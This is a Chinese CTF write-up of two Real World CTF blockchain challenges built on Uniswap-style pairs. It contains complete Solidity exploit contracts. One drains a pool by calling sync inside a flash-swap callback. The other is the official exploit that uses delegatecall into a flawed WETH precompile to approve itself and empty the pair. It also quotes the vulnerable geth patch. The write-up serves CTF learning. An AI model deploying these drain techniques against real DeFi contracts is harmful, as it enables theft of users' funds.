RWCTF 正赛 & 体验赛 区块链
前言:两道uniswap类型的题目,体验赛是把sync的Lock关了。出现了K值计算问题。导致可以从类似闪电贷的情景下偷token。正赛是预编译合约,改编的情景来自于:https://medium.com/neon-labs/precompiled-contracts-in-neon-a-case-study-of-erc-20-wrapper-2a934e022eb9
后续可能有时间会有体系的学习下Uniswap等情景。 十分感谢 : iczc、zpano 对于正赛题目的指导
体验赛
原Uniswap中sync方法:
就是为了防止进入swap后乱调池子中的Token比率。所以我们可以通过闪电贷拿钱之后回调函数再调sync。让他reserve变成最原来的样子。然后再给他转点A token。我没精确计算需要赚多少 直接转 1 Token了。
contract hacker1{
Greeter greet=Greeter(0x650a459794183b0764De0640C7D94945282dD17D); //题目合约
address ipairs=0x1C33249Cc8D1E6680453E7Dc419108123B7b775C;//pair合约
address depl=0x36C577a6dc31210ee740825Bb376C6C60A12Ac60;//depolyer
// Greeter greet=Greeter(0x3FE6Ad8CEDb58588e3040E54434Ef83FE519a7d9); //题目合约
// address ipairs=0xff1f3b23fD5aAeb0c0876563ADc00491Bdc9DDa7;//pair合约
// address depl=0x040b009862195F4e149a4446f0d41213A6Bda6a0;//depolyer
address tokenAA=greet.tokenA();
address tokenBB=greet.tokenB();
function one() public {
greet.airdrop();
}
function two() public {
IHappyPair ipair=IHappyPair(ipairs); //pair合约
ipair.swap(1 ether,1 ether,address(this),"0x232333");
}
function three() public {
IERC20(tokenBB).transfer(depl, 1 ether); //depolyer
}
function hack() public{
greet.airdrop();
IHappyPair ipair=IHappyPair(ipairs); //pair合约
ipair.swap(0.0001 ether,1 ether,address(this),"0x0");
IERC20(tokenBB).transfer(depl, 1 ether); //depolyer
}
fallback() external{
IHappyPair ipair=IHappyPair(ipairs);
ipair.sync();
IERC20(tokenAA).transfer(ipairs, 0.99 ether);
}
}
有个坑点 回调函数好像和源码给的不一样。结果卡了10h。。。 最后fallback成功拿下了。
后续看群里有人说burn 好像未授权,可能还有其他打法。。
正赛
情景和体验赛的相差不多。想要最后把Pair合约中的Token清空。
首先查看patch过的geth。有几个重要的点:
+func approve(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) {
+ if evm.interpreter.readOnly {
+ return nil, suppliedGas, ErrWriteProtection
+ }
+ inputArgs := &ApproveInput{}
+ if err = unpackInputIntoInterface(inputArgs, "approve", input); err != nil {
+ return nil, suppliedGas, err
+ }
+
+ return approveInternal(evm, suppliedGas, caller, inputArgs.Spender, inputArgs.Amount)
+}
+func approveInternal(evm *EVM, suppliedGas uint64, owner, spender common.Address, value *big.Int) (ret []byte, remainingGas uint64, err error) {
+ if remainingGas, err = deductGas(suppliedGas, params.Keccak256Gas*2); err != nil {
+ return nil, 0, err
+ }
+ loc := calculateAllowancesStorageSlot(owner, spender)
+
+ if remainingGas, err = deductGas(suppliedGas, params.SstoreSetGas); err != nil {
+ return nil, 0, err
+ }
+
+ evm.StateDB.SetState(realWrappedEtherAddr, loc, common.BigToHash(value))
+ return math.PaddedBigBytes(common.Big1, common.HashLength), remainingGas, nil
+}
这里调整WETH TOKEN下 2个账户间转账的上线是直接通过
+ evm.StateDB.SetState(realWrappedEtherAddr, loc, common.BigToHash(value))
实现的。
第二点:
+func transferAndCall(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) {
+ if readOnly {
+ return nil, suppliedGas, ErrWriteProtection
+ }
+ inputArgs := &TransferAndCallInput{}
+ if err = unpackInputIntoInterface(inputArgs, "transferAndCall", input); err != nil {
+ return nil, suppliedGas, err
+ }
+
+ if ret, remainingGas, err = transferInternal(evm, suppliedGas, caller, inputArgs.To, inputArgs.Amount); err != nil {
+ return ret, remainingGas, err
+ }
+
+ code := evm.StateDB.GetCode(inputArgs.To)
+ if len(code) == 0 {
+ return ret, remainingGas, nil
+ }
+
+ snapshot := evm.StateDB.Snapshot()
+ evm.depth++
+ defer func() { evm.depth-- }()
+
+ if ret, remainingGas, err = evm.Call(AccountRef(caller), inputArgs.To, inputArgs.Data, remainingGas, common.Big0); err != nil {
+ evm.StateDB.RevertToSnapshot(snapshot)
+ if err != ErrExecutionReverted {
+ remainingGas = 0
+ }
+ }
+
+ return ret, remainingGas, err
+}
这个TransferCall中。对于其call方法。
if ret, remainingGas, err = evm.Call(AccountRef(caller), inputArgs.To, inputArgs.Data, remainingGas, common.Big0)
evm.Call方法中 第一个设置的是caller。这里选用的 caller 是调用者而不是 WETH本身。
通过前言中的内容我们可以知道,预编译合约支持delegatecall。而这个时候我们就可以考虑把msg.sender指定给Pair合约。
从而实现任意转账。
也就是通过闪电贷中的call -> 恶意合约中delegatecall ->WETH.approve/WETH.transferandCall
从而实现的是Pair合约调用 WETH.approve和TOKEN.approve。
从而实现hacking.
给一个官方的exploit:
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
interface IUniswapV2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
function mint(address to) external returns (uint liquidity);
function swap(
uint amount0Out,
uint amount1Out,
address to,
bytes calldata data
) external;
function sync() external;
}
contract Exploiter is Ownable {
using Address for address;
address public WETH;
address public token;
IUniswapV2Pair uniswapV2Pair;
constructor(address _WETH, address _pair) {
WETH = _WETH;
uniswapV2Pair = IUniswapV2Pair(_pair);
address token0 = uniswapV2Pair.token0();
address token1 = uniswapV2Pair.token1();
require(token0 == WETH || token1 == WETH, "INVALID");
token = token0 == WETH ? token1 : token0;
}
function exploit() external payable onlyOwner {
(uint256 amount0, uint256 amount1) = uniswapV2Pair.token0() == WETH
? (1, 0)
: (0, 1);
uniswapV2Pair.swap(amount0, amount1, address(this), bytes("1"));
uint256 balanceETH = IERC20(WETH).balanceOf(address(uniswapV2Pair));
uint256 balanceToken = IERC20(token).balanceOf(address(uniswapV2Pair));
IERC20(WETH).transferFrom(
address(uniswapV2Pair),
msg.sender,
balanceETH
);
IERC20(token).transferFrom(
address(uniswapV2Pair),
msg.sender,
balanceToken
);
uniswapV2Pair.sync();
}
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external {
require(
msg.sender == address(uniswapV2Pair) && sender == address(this),
"FORBIDDEN"
);
uint256 amountOut = 1;
IERC20(WETH).transfer(
msg.sender,
(amountOut * 1000) / (amountOut * 997) + 1
); // repayment
bytes memory approveData = abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
type(uint256).max
);
WETH.functionDelegateCall(approveData); // approve ETH
WETH.functionDelegateCall( // approve SimpleToken
abi.encodeWithSignature(
"transferAndCall(address,uint256,bytes)",
token,
0,
approveData
)
);
}
}
exploit()时候记得打钱。